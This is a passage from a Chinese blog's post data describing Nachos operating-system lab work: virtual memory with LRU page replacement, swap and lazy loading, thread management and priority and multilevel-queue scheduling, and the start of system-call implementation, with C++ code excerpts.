缺页中断的设计建立在之前的TLB的基础上,为TLB调页之前,需要检查页表中的页是否存在,如果不存在则从虚拟内存文件中进行调页。 对于页表调页算法,分为两部分。如果内存中有还未分配的内存空间,则从内存位图中获取物理页号,并从虚拟内存文件中读取数据写入到该物理页中。如果内存中不存在未分配的空间,则使用LRU算法进行调页。 而LRU算法的实现,与TLB中的LRU算法实现方式一致,均使用time变量来记录每次命中时的访问时间,然后选择最早被访问的项淘汰。但是页表的置换还需考虑是否要将内存中的页写回磁盘。因此如果页的dirty位为TRUE,则获取交换分区的一页空间,并将该物理页的数据写入到交换分区中。 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364void Machine::LoadPage(int virtAddr) { unsigned int vpn = (unsigned) virtAddr / PageSize; unsigned int offset = (unsigned) virtAddr % PageSize; if (machine->tlb == NULL) { // 如果tlb为NULL引发PageFaultException的原因是pageTable[vpn].valid为false PageTableSwap(vpn); return; } else { // 此时表明tlb未命中,因此执行tlb置换策略 if (!(machine->pageTable[vpn]).valid) { /* 如果页表也缺页,先给页表调页 */ printf("=====> %s Page Table Swap!\\n", currentThread->getName()); PageTableSwap(vpn); } // 为tlb调页 printf("=====> %s TLB Swap!\\n", currentThread->getName()); TlbSwap_LRU(vpn); }}void Machine::PageTableSwap(unsigned int vpn) { int phyPage = memBitMap->Find(); if (phyPage == -1) { // 如果没找到物理页,则使用置换算法找到被换出的页 phyPage = PageTableSwap_LRU(vpn); } // 从交换分区取出数据,并回收该交换页 int spn = pageTable[vpn].swapPage; swapFile->ReadAt(&(mainMemory[phyPage * PageSize]), PageSize, spn * PageSize); swapBitMap->Clear(spn); // 回收该页 pageTable[vpn].swapPage = -1; pageTable[vpn].valid = TRUE; pageTable[vpn].physicalPage = phyPage; pageTable[vpn].use = FALSE; pageTable[vpn].dirty = FALSE; pageTable[vpn].readOnly = FALSE; pageTable[vpn].time = stats->totalTicks;}int Machine::PageTableSwap_LRU(unsigned int vpn) { int i; int min_pgTable_last_time = 0x7fffffff; int min_idx = 0; for (i = 0; i < pageTableSize; i++) { if (pageTable[i].time < min_pgTable_last_time) { min_idx = i; min_pgTable_last_time = pageTable[i].time; } } // 给待换出的页分配交换分区号 int spn = swapBitMap->Find(); ASSERT(spn != -1); if (pageTable[min_idx].dirty) { swapFile->WriteAt(&(mainMemory[pageTable[min_idx].physicalPage * PageSize]), PageSize, spn * PageSize); } pageTable[min_idx].swapPage = spn; pageTable[min_idx].valid = FALSE; return pageTable[min_idx].physicalPage;} 该部分是与Exercise一同实现的,所以待Lazy-loading实现后再作测试。 第三部分 Lazy-loadingExercise 7 我们已经知道,Nachos系统为用户程序分配内存必须在用户程序载入内存时一次性完成,故此,系统能够运行的用户程序的大小被严格限制在4KB以下。请实现Lazy-loading的内存分配算法,使得当且仅当程序运行过程中缺页中断发生时,才会将所需的页面从磁盘调入内存。 思路上一个练习实现了交换分区,因此考虑将可执行文件读入内存时,不将所有内容读入到内存,而是将所有(或一部分)页先存储在交换分区。仅当发生缺页中断时才从交换分区调页到内存。 需要注意的是,Addrspace类的构造函数中仅将代码code和初始数据initdata两个部分做了处理。因此将他们写入交换分区之后,还需要保证其余的留给用户栈UserStackSize和未初始化数据uninitData的空间也被分配到交换分区。 否则,用户栈UserStackSize和未初始化数据uninitData的空间是未被分配任何空间的(交换分区还未分配,内存中也不分配)。这样就会导致,内存调页去写入用户栈或者数据的时候,可能会写在一个未被分配的空间上,从而引发问题。 实现修改Addrspace类的构造函数,在用户程序初始化的时候,不读入内存,而是全部采用读入到交换分区的操作。直到用户程序执行引发了缺页中断,才从交换分区调页到内存中。因此在分配页表的时候对每一个页都分配一个交换分区号sp。 1234567891011121314151617/* * code/userprog/addrspace.cc */AddrSpace::AddrSpace(OpenFile *executable){... pageTable = new TranslationEntry[numPages]; for (i = 0; i < numPages; i++) {... int sp = machine->swapBitMap->Find(); ASSERT(sp != -1); pageTable[i].swapPage = sp;... }...} 然后对noffH.code和noffH.initData做处理,即现将数据写入到交换分区。观察代码可以发现,其写入方式与物理页几乎完全一致,区别仅在于写入的位置是交换分区文件,而不是物理内存。noffH.initData的处理方式与noffH.code一致。 12345678910111213141516171819/* * userprog/addrspace.cc中Addrspace构造函数 */ if (noffH.code.size > 0) { DEBUG('a', "Initializing code segment, at 0x%x, size %d\\n", noffH.code.virtualAddr, noffH.code.size); int pos_file = noffH.code.inFileAddr; char cur_char; for (int p = 0; p < noffH.code.size; p++) { int cur_vpn = (noffH.code.virtualAddr + p) / PageSize; int cur_spn = pageTable[cur_vpn].swapPage; int swap_offset = (noffH.code.virtualAddr + p) % PageSize; executable->ReadAt(&(cur_char), 1, pos_file++); machine->swapFile->WriteAt(&(cur_char), 1, cur_spn * PageSize + swap_offset); } } 测试结果如下: 第四部分 ChallengesChallenge 1 为线程增加挂起SUSPENDED状态,并在已完成的文件系统和内存管理功能的基础之上,实现线程在“SUSPENDED”,“READY”和“BLOCKED”状态之间的切换。 Challenge 2 多级页表的缺陷在于页表的大小与虚拟地址空间的大小成正比,为了节省物理内存在页表存储上的消耗,请在Nachos系统中实现倒排页表。 实现倒排页表主要完成的是根据物理地址来查找页表项,因此全局仅需要一个倒排页表。修改Machine类的构造函数,将其内的pageTable改造为倒排页表。设置pageTable的大小为物理页数量,并初始化其内的值。 与此同时,需要在页表项的结构中添加tid,用于标示该物理页属于哪个进程。 然后修改物理页的分配方式,修改Addrpace的构造函数,删除其内部创建的pageTable,而是直接使用machine中的全局倒排页表,其中物理页号与页表下标一致。 由于此时全局仅有一张页表,因此不需要替换machine中的页表指针,所以将RestoreState函数注释。 最后,在异常处理函数ExceptionHandler中修改,页回收的方式。根据tid搜索页表中属于该线程的页,并将其回收。 最后测试结果如下: 可以看到仅分配给进程的部分有tid,且valid的值为1,满足倒排页表的可能结果。 遇到的困难以及解决方法困难1 在Makefile增加USE_TLB宏之后,tlb的值依然为NULL增加多处DEBUG信息,检查tlb的初始化以及调用,但仍得到如下信息。在无意中修改了#ifdef USE_TLB中的代码之后发现,TLB的值不为NULL了。 解决办法:执行make clean清除掉之前编译留下的.o文件,然后重新make。如果出现报错说“bin/csh: not found”,那么修改code/Makefile将其中的csh修改为sh。 经过分析得知,在编译之后保留了编译好的那些.o文件以加快后续的编译速度,但也正是保留了这些静态目标文件,从而导致了修改Makefile增加USE_TLB宏不生效。猜测Makefile自动检测改动只考虑代码的变动,而不考虑Makefile自身的变动,从而导致对Makefile的改动不生效。 参考文献[1] 百度文库. Nachos虚拟内存机制实习报告[EB/OL]. https://wenku.baidu.com/view/ee473599964bcf84b9d57b89.html [2] Github. 1200012964_彭广举_虚拟内存实习报告.pdf[EB/OL]. https://github.com/BACKPGJ/nachos/blob/master/homework/1200012964_%E5%BD%AD%E5%B9%BF%E4%B8%BE_%E8%99%9A%E6%8B%9F%E5%86%85%E5%AD%98%E5%AE%9E%E4%B9%A0%E6%8A%A5%E5%91%8A.pdf [3] CSDN. Nachos实习——Lab2虚拟内存实习报告[EB/OL]. https://blog.csdn.net/sinat_40875078/article/details/109472895 [4] 百度文库. nachos Lab4实习报告[EB/OL]. https://wenku.baidu.com/view/be56dfe2541810a6f524ccbff121dd36a32dc430.html","link":"/2020/11/17/Nachos-Lab02-%E8%99%9A%E6%8B%9F%E5%86%85%E5%AD%98/"},{"title":"Nachos Lab01 线程机制","text":"第一部分调研 调研Linux或Windows中进程控制块(PCB)的基本实现方式,理解与Nachos的异同。调研Linux或Windows中采用的进程/线程调度算法。 Linux版本2.6.11:Linux使用轻量级进程,进程间允许共享资源。实现多线程应用的简单方式就是把轻量级进程与每个线程关联起来,线程间就可以通过共享资源的方式来访问相同的应用数据结构集。在Linux中,使用task_struct结构来存储与一个进程相关的所有信息。其基本结构如下图。其中Linux的进程状态有:可运行状态(TASK_RUNNING),可中断的等待状态(TASK_INTERRUPTIBLE),不可中断的等待状态(TASK_UNINTERRUPTIBLE),暂停状态(TASK_STOPPED),跟踪状态(TASK_TRACED),僵死状态(EXIT_ZOMBIE),僵死撤销状态(EXIT_DEAD)。 在Nachos中也同样使用Thread类来定义线程所需的信息和方法。但是Nachos的实现是基于线程的,要求至少存在一个主线程。而对于主线程则可以使用fork方法来创建子线程来执行任务。 Linux的进程调度,将进程分为不同的类型进行调度。SCHED_FIFO先进先出的实时进程,只要没有可运行的更高优先级实时进程,就可以一直运行。SCHED_RR时间片轮转的实时进程,保证具有相同优先级的SCHED_RR实时进程可以公平地分配CPU时间。SCHED_NORMAL,普通的分时进程,普通进程会同时维护静态优先级(用于评估该进程与其他普通进程之间调度的程度)和动态优先级(用于调度程序选择新进程)。 Linux对于普通进程,调度器会维持两个不相交的可运行进程集合,活动进程和过期进程,用于保证获得较多时间片的高静态优先级进程不会影响静态优先级较低的进程执行。而实时进程则在执行过程中会尽可能多的运行,即禁止优先级低的进程执行。只有在发生诸如高优先级的实时进程抢占、IO阻塞、进程结束、主动放弃CPU、基于时间片轮转且用完了时间片等事件时,才会发生实时进程被另一个进程取代。 第二部分由于写下此博文时,Nachos已经在做后续的实习了,改动较多,导致曾经的测试函数得不到相同的测试结果了。因此所有的测试结果截图均来自当时的实验报告。 Exercise1 源代码阅读 仔细阅读下列源代码,理解Nachos现有的线程机制。 code/threads/main.cc和code/threads/threadtest.cc code/threads/thread.h和code/threads/thread.cc code/threads/main.cc:定义了NachOS的入口,可以通过传入不同的参数,直接调用NachOS上不同部分的功能函数。可以用于调试和测试。 code/threads/threadtest.cc:该文件给出了一个简易的线程测试样例,两个线程0和1,轮流主动让出CPU。后续对Thread的修改,可以在此处设置编写相应的测试函数来进行验证。 code/threads/thread.h:主要定义了Thread所相关的线程管理函数,以及一些与线程上下文环境有关的变量。需要重点提及的是Thread类头两个变量(即栈顶指针和机器状态寄存器)不能修改顺序是因为NachOS在进行线程切换(调用SWITCH函数)时,会按照这个顺序依次找到线程入口,然后设置线程上下文寄存器。 code/threads/thread.cc:这里面比较重要的函数如下: Fork:Fork用于创建一个新的线程,而在这个创建过程中比较重要的函数就是StackAllocate。StackAllocate函数仅在Fork中被调用,它会根据宏定义的栈大小创建一个栈,然后在栈顶放入ThreadRoot函数(由ThreadRoot入口可以转而运行线程所需要运行的任务函数),并且设置一些机器状态寄存器。需要特别说明的就是,新线程是由ThreadRoot转而运行任务,而不是直接从任务函数开始。 Yield和Sleep函数:二者在功能上十分地相近,都是主动让出CPU,调度下一个线程。其中最大的差别就是Sleep在就绪队列为空时,会调用中断中的Idle函数,然后一直等待新的线程进行调度;而Yield函数在就绪队列为空时,会直接返回。 Exercise2 扩展线程的数据结构 增加“用户ID、线程ID”两个数据成员,并在Nachos现有的线程管理机制中增加对这两个数据成员的维护机制。 思路由于Nachos中并没有实现多用户相关的机制,所以需要人为地维护用户信息。考虑到便捷性,直接在Thread类中增加相关的机制。 实现在threads/thread.h文件内的Thread类中,新增私有成员用户ID(uid)和线程ID(tid),并分别设置了获取这些成员信息的get函数,以及uid的set函数。 线程内的用户ID(uid)设置set函数是考虑到Nachos没有现成的多用户管理机制,增加一个全局的用户管理机制过于麻烦。为了简便,通过显式地调用setUid的方式来进程用户管理。而线程ID(tid)没有setTid也是因为后续实现了全局线程的管理机制。 12345678910111213141516171819/* * 改动位于threads/thread.h内的Thread类 */private: int uid; int tid;public: void setUid(int new_uid) { uid = new_uid; } int getUid() { return uid; } int getTid() { return tid; } 当然,uid和tid和值均需要初始化。uid在Thread的构造函数(位于threads/thread.cc)中初始化为任意值即可。而tid的初始值来源于全局线程管理机制的分配。 Exercise3 增加全局线程管理机制 在Nachos中增加对线程数量的限制,使得Nachos中最多能够同时存在128个线程; 仿照Linux中PS命令,增加一个功能TS(Threads Status),能够显示当前系统中所有线程的信息和状态。 思路在Nachos中,有两个文件*threads/system.h(cc)*,它们负责管理Nachos中的一些全局变量以及一些初始化的工作,因此可以在此处添加相应全局线程管理机制。因为要求线程数的上限为128,所以可以设置一个长度为128的数组,用于记录tid的分配情况,而数组的大小也限制能够被分配出去的tid的数量。 要实现TS功能,光有tid的管理数组还不够,还需要一个能够根据tid获取相应线程信息的功能。这里可以设置一个与之前的数组等大的平行数组,用于记录每个tid所对应的线程指针。 总之上述的实现方式可以是: 设置两个数组,一个用于记录tid的分配情况,另一个用于记录tid所对应的线程指针 上述二者可以合并成一个组数,该数组存储线程指针,根据值是否为NULL来判断该tid是否已被分配。 用结构体来存储tid和线程指针 实现这里采取上述方法二。 在threads/system.h文件中添加如下的全局变量,分别是全局线程数量的宏NOTHREAD,指向线程的指针数组(该数组存储各个线程的地址,其地址对应的下标即为线程的tid),以及用于查看所有线程状态的函数ThreadsStatus。 12345678/* * 改动位于threads/system.h */// 最大线程数#define NOTHREAD 128extern Thread* thread_point[NOTHREAD];extern void ThreadsStatus(); 然后在threads/system.cc文件中将thread_point的数组元素初始化为0(也可以使用NULL替代),这个步骤是为了保证其存储的所有指针为0(0表示未分配),否则系统会误认为该地址已分配给某个进程而导致的误操作。 1234567/* * 改动位于threads/system.cc中的Initialize函数 * 该函数用于Nachos中的全局数据初始化 */for (int i = 0; i < NOTHREAD; i++) { thread_point[i] = 0;} 相应的在threads/thread.cc文件下的Thread构造函数中添加了tid的分配方式,在线程创建的时候,从全局线程指针数组中获取一个tid,并在其中放入该线程的地址。与之相对应的,在析构函数中将tid所对应的指针设为0。 1234567891011121314151617/* * 改动位于threads/thread.cc中的Thread构造函数Thread::Thread */this->uid = 0;// 获取tidfor (int i = 0; i < NOTHREAD; i++) { if (thread_point[i] == 0) { tid = i; thread_point[i] = this; break; }}/* * 改动位于threads/thread.cc中的Thread析构函数Thread::~Thread */thread_point[tid] = 0; 最后获取所有线程状态的函数ThreadsStatus实现在system.cc文件中,该函数的主要功能就是遍历线程指针数组,并打印所有线程的uid,tid,name,以及status。因此,也在thread.h文件中,对Thread类新增了一个成员函数getStatus用于获取线程状态信息。 12345678910111213141516171819202122232425262728293031/* * 改动位于threads/system.cc */void ThreadsStatus() { for (int tid = 0; tid < NOTHREAD; tid++) { if (thread_point[tid] != NULL) { // 如果tid已经分发 Thread * thd = thread_point[tid]; // 获取线程状态的字符串,方便打印 char * status; switch (thd->getStatus()) { case JUST_CREATED: status = "JUST_CREATED"; break; case RUNNING: status = "RUNNING"; break; case READY: status = "READY"; break; case BLOCKED: status = "BLOCKED"; default: break; } printf("uid: %d tid: %d name: %s status: %s\\n", thd->getUid(), thd->getTid(), thd->getName(), status); } }} 最后测试函数如下: 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647/* * 改动位于threads/threadtest.cc */void do_nothing(int i) { switch (i % 3) { case 0: { int a = 0; break; } case 1: { int tmp_count = 100; while (tmp_count--); } case 2: { int tmp_count_2 = 1000; while (tmp_count_2--); break; } }}void ThreadTest2() { DEBUG('t', "Entering ThreadTest2\\n"); Thread * ThreadBox[10]; // 构造线程名 char name[10] = "Thread_a\\0"; for (int i = 0; i < 10; i++) { char *new_name = new char[10]; for (int j = 0; j < 10; j++) { if (j == 7) { new_name[j] = name[j] + i; } else { new_name[j] = name[j]; } } ThreadBox[i] = new Thread(new_name); ThreadBox[i]->setUid(i + 10); ThreadBox[i]->Fork(do_nothing, (void *)i); // 为了效果手动修改了一些状态 ThreadBox[i]->setStatus((READY + i) % 4); } ThreadsStatus();} Exercise4 源代码阅读 仔细阅读下列源代码,理解Nachos现有的线程调度算法。 code/threads/scheduler.h和code/threads/scheduler.cc code/threads/switch.s code/machine/timer.h和code/machine/timer.cc code/threads/scheduler.h和scheduler.cc:主要是声明和实现了关于调度器的数据结构及相关方法。ReadyToRun方法,用于将新的线程加入到就绪队列;FindNextToRun则是根据规则从就绪队列中取出一个线程指针;Run方法则是真正负责线程调度,将当前运行的线程换出CPU,将下一个线程换入CPU。 code/threads/switch.s:该文件即是SWITCH函数的真正实现。主要负责保存待换出线程的相关寄存器的值,然后将待换入线程的上下文信息放入寄存器当中。 code/machine/timer.h和timer.cc:主要提供了时间片所需的相关方法。其中最重要的函数就是TimerExpired。Timer类实现了每隔一定时间(时间片的长度从TimeOfNextInterrupt获取)向interrupt发送一个中断,该中断的处理函数中调用了TimerExpired。表明当一个时间片结束的时候,TimerExpired函数被调用从而导致执行TimerInterruptHandler函数(位于threads/system.cc)。而TimerInterruptHandler会间接引发线程的上下文切换,从而实现了时间片的轮转。 Exercise5 线程调度算法扩展 扩展线程调度算法,实现基于优先级的抢占式调度算法 思路基于优先级的调度,首先要为每个线程设置一个优先级变量,并增设相应的维护函数。然后修改线程调度器Scheduler相应方法的实现,使得优先级最高的线程能够被最先调度。 然后是关于抢占的实现。仔细观察时钟类Timer的实现,可以发现该类会周期地向中断调度器发送时钟中断。初始化时执行一次下述代码,会让中断执行TimerExpired方法,然后TimerExpired方法又会执行下述代码,从而实现每隔一个时间片就会发生一次时钟中断。 12345/* * machine/timer.cc中Timer的构造函数和TimerExpired出现 */interrupt->Schedule(TimerHandler, (int) this, TimeOfNextInterrupt(), TimerInt); TimerHandler是为了处理类方法无法作为函数指针传入,所以增设的协助函数。该函数主要用途就是调用TimerExpired方法,即让中断调度器能够调用TimerExpired方法。 TimeOfNextInterrupt则是获取两次中断的时间间隔,即时间片。Nachos允许随机时间片。 TimerInt表示中断的类型是一个时钟中断 而时钟中断的处理函数TimerInterruptHandler位于threads/system.cc。该函数会调用interrupt->YieldOnReturn();方法,该方法会设置中断interrupt的yieldOnReturn属性为TRUE是为了避免直接调用Yield函数导致中断处理线程被换出CPU。 如果搜索yieldOnReturn被调用的位置可以发现,在machine/interrupt.cc的OneTick函数中会看到如下代码。可以得知在时钟中断发生时,会引发线程的切换。 1234567 if (yieldOnReturn) { // if the timer device handler asked // for a context switch, ok to do it nowyieldOnReturn = FALSE; status = SystemMode; // yield is a kernel routinecurrentThread->Yield();status = old; } 这里有两个需要关注的点就是: OneTick在什么时候会被执行 A:查看Interrupt类的SetLevel函数(开中断函数),可以得知,关中断再开中断会执行OneTick函数。也就是说在中断恢复的时候执行。同时检索可以得知,在Machine::Run()中,执行完一次用户指令也会执行OneTick函数。 中断处理程序在什么时候会被执行 A:查看OneTick的注释和代码可以得知有一个CheckIfDue方法,在处理中断调度器。如果出现了一个中断,则调用它的中断处理程序(*(toOccur->handler))(toOccur->arg);。所以中断处理程序是在OneTick中被调用执行的。 这样时间中断的流程就很清晰了:由硬件模拟例程调用Interrupt::Schedule发送时钟中断;然后在执行完用户指令或者开中断时调用OneTick函数前进一个时间单位(用户态前进一个用户事件,系统态则前进一个系统时间);再然后由CheckIfDue检查中断是否要发生;如果要发生时钟中断,则引发时钟中断处理函数TimerInterruptHandler的执行,处理结束后引发线程的切换。 注:因为在屏蔽中断期间,不应该允许任何中断的发生或者线程的调度,这样才能模拟原子操作。在系统态下,同时一次OneTick函数的执行也为模拟的系统时间增加了10个单位的时间(该值的定义位于machine/stats.h)。 最后为了Nachos能够产生等长的时间片,修改threads/system.cc,增加else的部分。因为原先的Nachos仅在随机的时间片上启用时钟。 1234567/* * threads/system.cc中的Initialize */if (randomYield) // start the timer (if needed)timer = new Timer(TimerInterruptHandler, 0, randomYield); else // 增加的部分 timer = new Timer(TimerInterruptHandler, 0, randomYield); 实现修改threads/thread.h文件中的Thread类,为其添加代表优先级的私有成员priority以及相关的管理函数。 123456789101112131415/* * 改动位于threads/thread.h中的Thread类 */private: // 优先级 int priority;public: int getPriority() { return priority; } void setPriority(int pri) { priority = pri; } 然后修改threads/scheduler.cc中的ReadyToRun函数,ReadyToRun仅负责将线程插入到就绪队列而不考虑调度线程到CPU上。因为是基于优先级的调度,所以原本的将新线程加入就绪队列尾部的做法不能满足需求。将其修改为如下方式,使用有序插入,且排序的依据key是线程的优先级。由于SortedInsert函数是增序排列,key值最小的元素会排在列表的首部,同时在FindNextToRun方法中remove返回的是队列的首部元素,因此导致了priority值越小越会被优先调度,即priority越小优先级越高。 123456789101112131415/* * 改动位于threads/scheduler.cc */voidScheduler::ReadyToRun (Thread *thread){ DEBUG('t', "Putting thread %s on ready list.\\n", thread->getName()); thread->setStatus(READY);// 优先级抢占调度 readyList->SortedInsert((void *)thread, thread->getPriority());} 联想到时间片会引发线程上下文切换。因此修改threads/thread.cc文件中Yield方法的实现。在线程让出CPU的时候,检查就绪队列顶部线程的优先级,如果该线程的优先级低于当前线程的优先级,则不让出CPU继续运行,从而实现新进程可以在时钟中断时抢占。 12345678910111213141516171819202122232425262728293031/* * 改动位于threads/thread.cc */voidThread::Yield (){ Thread *nextThread; IntStatus oldLevel = interrupt->SetLevel(IntOff); ASSERT(this == currentThread); DEBUG('t', "Yielding thread \\"%s\\"\\n", getName()); nextThread = scheduler->FindNextToRun(); if (nextThread != NULL) { // 优先级抢占调度 // 规定数字越小优先级越大 if (nextThread->getPriority() > priority) { // 如果下一个线程的优先级小于当前线程,则不调度 scheduler->ReadyToRun(nextThread); } else { scheduler->ReadyToRun(this); scheduler->Run(nextThread); } } (void) interrupt->SetLevel(oldLevel);} 为简化测试,让每个线程在执行完一次printf之后就尝试主动放弃CPU,从而模拟周期性的新线程抢占CPU。测试函数如下: 1234567891011121314151617181920212223242526/* * 改动位于threads/threadtest.cc */void do_priority(int tid) { int num; for (num = 0; num < 10; num++) { printf("*** thread %d looped %d times with priority %d\\n", tid, num, currentThread->getPriority()); currentThread->Yield(); }}voidThreadTest3() { DEBUG('t', "Entering ThreadTest3\\n"); Thread * threadbox[3]; for (int i = 0; i < 3; i++) { threadbox[i] = new Thread("sub_thread"); threadbox[i]->setPriority(4 - i); threadbox[i]->Fork(do_priority, (void *)(threadbox[i]->getTid())); }} Challenge 线程调度算法扩展这里所实现的是非抢占的多级队列反馈算法。 思路 在Thread类中增加属性用于记录时间片的使用情况 修改调度器Scheduler类,将原来的单一队列换成三个就绪队列。队列之间根据时间片的不同,安排不同的优先级。优先级越高的队列,所能使用的时间片越短 修改线程调度的方式。根据线程已经使用的时间片数量,决定线程即将放入的就绪队列。以及按照队列彼此之间的优先级,决定哪个线程会被优先调度。仅当高优先级的就绪队列为空时,才会调度较低优先级队列中的线程。 修改时钟中断处理函数,让线程在耗尽其所在队列允许的时间片之前,不会因为时钟中断而被换出CPU。(由Exercise5的思考部分可知,时钟中断处理函数仅在interrupt->YieldOnReturn();方法被执行时才会引发线程上下文切换) 实现首先在threads/thread.h文件中,给Thread类添加一个私有成员usedTimeSlices,用于记录该线程已使用的时间片,并为其增设两个公共成员函数getUsedTimeSlices和setUsedTimeSlices,用于获取和设置线程已使用的时间片。 123456789101112131415/* * 改动位于threads/thread.h中的Thread类 */private: // 已使用的时间片 int usedTimeSlices;public: int getUsedTimeSlices() { return usedTimeSlices; } void setUsedTimeSlices(int uts) { usedTimeSlices = uts; } 然后修改threads/scheduler.h文件,为Scheduler类增加如下三个不同的队列。这三个队列相互之间的优先级为$QTimeSlice_2 > QTimeSlice_4 > QTimeSlice_8$。 123456/* * 改动位于threads/scheduler.h中的Scheduler类 */List *QTimeSlice_2; // 时间片为2List *QTimeSlice_4; // 时间片为4List *QTimeSlice_8; // 时间片为8 因此threads/scheduler.cc文件中的构造函数和析构函数中,添加为这三个队列分配和回收空间的代码。同时修改ReadyToRun函数,根据线程已使用的时间片长度,决定线程加入到哪个就绪队列。 123456789101112131415161718192021222324252627282930313233/* * 改动位于threads/scheduler.cc */Scheduler::Scheduler(){ QTimeSlice_2 = new List; QTimeSlice_4 = new List; QTimeSlice_8 = new List;} Scheduler::~Scheduler(){ delete QTimeSlice_2; delete QTimeSlice_4; delete QTimeSlice_8;} voidScheduler::ReadyToRun (Thread *thread){ DEBUG('t', "Putting thread %s on ready list.\\n", thread->getName()); thread->setStatus(READY); int usedTimeSlices = thread->getUsedTimeSlices(); if (usedTimeSlices < 2) { QTimeSlice_2->Append((void *)thread); } else if (usedTimeSlices < 6) { QTimeSlice_4->Append((void *)thread); } else { QTimeSlice_8->Append((void *)thread); }} 然后修改FindNextToRun函数,根据队列间的优先级选择下一个调度的线程。如果高优先级的队列存在就绪的线程,则会被优先调度。如果较高优先级的队列全部为空,则会调度最低优先级的队列。 123456789101112131415161718/* * 改动位于threads/scheduler.cc */Thread *Scheduler::FindNextToRun (){ // 队列相互之间是存在优先级的,QTimeSlice_2 > QTimeSlice_4 > QTimeSlice_8 // 优先查找高优先级的队列 Thread * nextThread = QTimeSlice_2->Remove(); if (nextThread) return (Thread *)nextThread; nextThread = QTimeSlice_4->Remove(); if (nextThread) return (Thread *)nextThread; return (Thread *)QTimeSlice_8->Remove();} 线程调度相关的改动完成,然后是修改计时器相关的代码。在machine/timer.cc文件中修改TimerExpired函数。该函数会在一个时间片(固定时间片TimerTicks的大小定义在machine/stat.h文件中)结束的时候被调用,因此在此处对线程所使用的时间片+1。 1234567891011121314151617/* * 改动位于machine/timer.cc */void Timer::TimerExpired() { // 一个时间片结束的时候对当前线程的时间片 + 1 currentThread->setUsedTimeSlices(currentThread->getUsedTimeSlices() + 1); // schedule the next timer device interrupt interrupt->Schedule(TimerHandler, (int) this, TimeOfNextInterrupt(), TimerInt); // invoke the Nachos interrupt handler for this device (*handler)(arg);} 最后就是修改时钟中断的处理函数TimerInterruptHandler(位于threads/system.cc文件中)。该函数会调用interrupt的YieldOnReturn方法,而该方法会作用在interrupt的OneTick函数中。Onetick函数(位于machine/interrupt.cc)会调用当前线程的Yield函数,因此可以将当前线程赶下CPU,调度下一个线程,从而实现了时间片轮转的效果。因为在调度队列中所定义的时间片长度分别是2、4、8,所以对其他时间片的时刻不进行上下文切换。 1234567891011121314/* * 改动位于threads/system.cc */static voidTimerInterruptHandler(int dummy){ if (interrupt->getStatus() != IdleMode) { int usedTimeSlices = currentThread->getUsedTimeSlices(); if (usedTimeSlices == 2 || usedTimeSlices % 8 == 6) { // 仅在使用时间片为2,6,14,以及14 + n * 8时切换进程 interrupt->YieldOnReturn(); } }} 至此非抢占的多级队列反馈算法已实现完成。 测试函数如下:由于使用较大的任务来测试不方便查看效果,所以利用关开中断来强制使时间推进 12345678910111213141516171819202122232425/* * 改动位于threads/threadtest.cc */void do_mlqs(int tid) { int num; for (num = 0; num < 20; num++) { printf("*** thread %d looped %d times with usedTimeSlices %d\\n", tid, num, currentThread->getUsedTimeSlices()); interrupt->SetLevel(IntOff); interrupt->Enable(); }}voidThreadTest4() { DEBUG('t', "Entering ThreadTest4\\n"); Thread * threadbox[3]; for (int i = 0; i < 3; i++) { threadbox[i] = new Thread("sub_thread"); threadbox[i]->Fork(do_mlqs, (void *)(threadbox[i]->getTid())); }} 为了方便看测试结果将machine/stats.h中的固定时间片大小TimerTicks值改为20。部分测试结果如下:可以看到每个线程用了2个时间片就会放弃CPU,进入4时间片的队列。 遇到的困难以及解决方法 困难1 Thread类最前面两个变量为什么一定要放在最开头且顺序固定 经过与同学的讨论得出结论:对于c++类,其对象内的数据成员在内存上是按照定义顺序来顺序存储的。因此栈顶指针就位于了线程对象地址偏移量为0的位置,machineState的起始地址也就位于了偏移量为4的位置。这样可以从threads/switch.s文件中的汇编代码看到,将线程地址放入eax寄存器中,r然后从eax寄存器的不同偏移来存储和恢复线程的上下文,而这些偏移就正好对应了线程的栈顶指针和machineState数组中的数据。另外,将偏移量为0的位置,即线程栈顶指针,赋值给了栈顶指针寄存器esp,这样就实现了硬件对线程任务的处理。 参考资料[1] CSDN. nachos 3.4 实现抢占式多级队列反馈算法[EB\\OL]. https://blog.csdn.net/eaglex/article/details/6336763?locationNum=3&fps=1 [2] 博韦 (Bovet, Daniel P.(Daniel Pierre)) et al. 深入理解linux内核[M]. 北京: 中国电力出版社, 2007: 261-265","link":"/2020/11/16/Nachos-Lab01-%E7%BA%BF%E7%A8%8B%E6%9C%BA%E5%88%B6/"},{"title":"Nachos Lab05 系统调用","text":"理解Nachos系统调用Exercise 1 源代码阅读 阅读与系统调用相关的源代码,理解系统调用的实现原理。 code/userprog/syscall.h code/userprog/exception.cc code/test/start.s code/userprog/syscall.h:这里定义了Nachos中的系统调用号,以及相应的系统调用接口。Nachos目前共有11种系统调用。 code/userprog/exception.cc:这里定义了异常处理函数。当异常发生的时候,ExceptionHandler函数会被调用。系统调用也是异常的一种,即SyscallException。然后根据从寄存器中读到的系统调用号,来进行相应的处理。 code/test/start.s:用于辅助Nachos中用户程序的执行。该文件共有两个作用,其一是定义程序执行时跳转到main函数,以及程序执行结束时调用Exit系统调用。另一个作用是,实现了用户程序的系统调用接口,该接口会将参数放在寄存器中,并跳转到异常处理函数执行相应的处理。 文件系统相关的系统调用Exercise 2 系统调用实现 类比Halt的实现,完成与文件系统相关的系统调用:Create, Open,Close,Write,Read。Syscall.h文件中有这些系统调用基本说明。 前置工作首先新增两个文件syscalldep.h和syscalldep.cc,然后在code/Makefile.common中注册这两个文件,以及对应的目标文件。这两个文件的作用是,定义一些系统调用真实实现,让其在code/userprog/exception.cc中被调用实现真正的处理。 由于上一次实习已经实现了Nachos中的文件系统,因此修改code/userprog/Makefile,将文件系统完成后的宏换上。这里不要忘了把启用TLB加上,不然可能会出现一些问题。注:此时的用户程序是实现了交换分区之后的版本。 另外,如果使用Nachos内实现的文件系统,则不定长文件名也会存在问题。不定长文件名会存在的问题在Nachos Lab04 文件系统Exercise 2 扩展文件属性中讨论过。为了方便测试,将不定长文件名改为定长文件名。然后根据需要修改文件名的最大长度限制FileNameMaxLen。 在Machine中实现一个PC前进的方法,用于增加PC。虽然该方法早先在Nachos Lab02 虚拟内存中实现过,但是当时的实现方式存在一些问题,因此在此处更正。 12345void Machine::PCAdvance() { registers[PrevPCReg] = registers[PCReg]; registers[PCReg] = registers[NextPCReg]; registers[NextPCReg] = registers[NextPCReg] + sizeof(int);} 